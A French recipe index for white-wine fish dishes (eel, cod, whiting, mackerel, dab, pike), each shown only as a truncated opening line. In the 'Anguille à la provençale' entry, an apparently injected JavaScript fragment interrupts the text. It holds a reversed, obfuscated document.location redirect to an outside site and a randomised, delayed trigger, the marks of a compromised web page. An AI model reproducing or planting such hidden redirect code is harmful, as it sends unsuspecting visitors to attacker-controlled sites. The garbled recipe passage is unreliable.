Recipes from Ingredient: Vin blanc

Anguille au vert

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Dans une cocotte avec du beurre sur feu moyen, faites revenir les tronçons d’anguilles jusqu’à ...

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Cabillaud braisé à la flamande

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Hachez les échalotes. Salez, poivrez les filets de cabillaud. Pelez le citron à vif et ...

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Merlan au vin blanc

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Videz, rincez, séchez les merlans, les salez et les poivrez. Pelez, hachez finement les oignons ...

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Filet de maquereau au vin blanc

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Rincez, séchez les filets de maquereau, les déposer  dans un plat à gratin. Salez, recouvrir ...

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Chaudrée de la mer

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Videz, rincez, essuyez les poissons, hachez le persil, les échalotes, l’ail.

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Anguille à la provençale

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Pelez et coupez les tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tomates en petits dés. Écrasez ...

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Court-bouillon simple

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Mêmes aromates et assaisonnement que ci-dessus Cuisson au bleu : Court-bouillon au vin ,mais en ...

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Limande au vin blanc

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Enlevez la peau de la limande en incisant à la queue. Saisissez la peau avec ...

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Les limandes frites

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Le temps de cuisson des limandes est de 10 minutes environ dans une friture chaude ...

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Brochet au vert

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Videz et parez le brochet. Équeutez, rincez les épinards, le persil, l’estragon, et la menthe. ...

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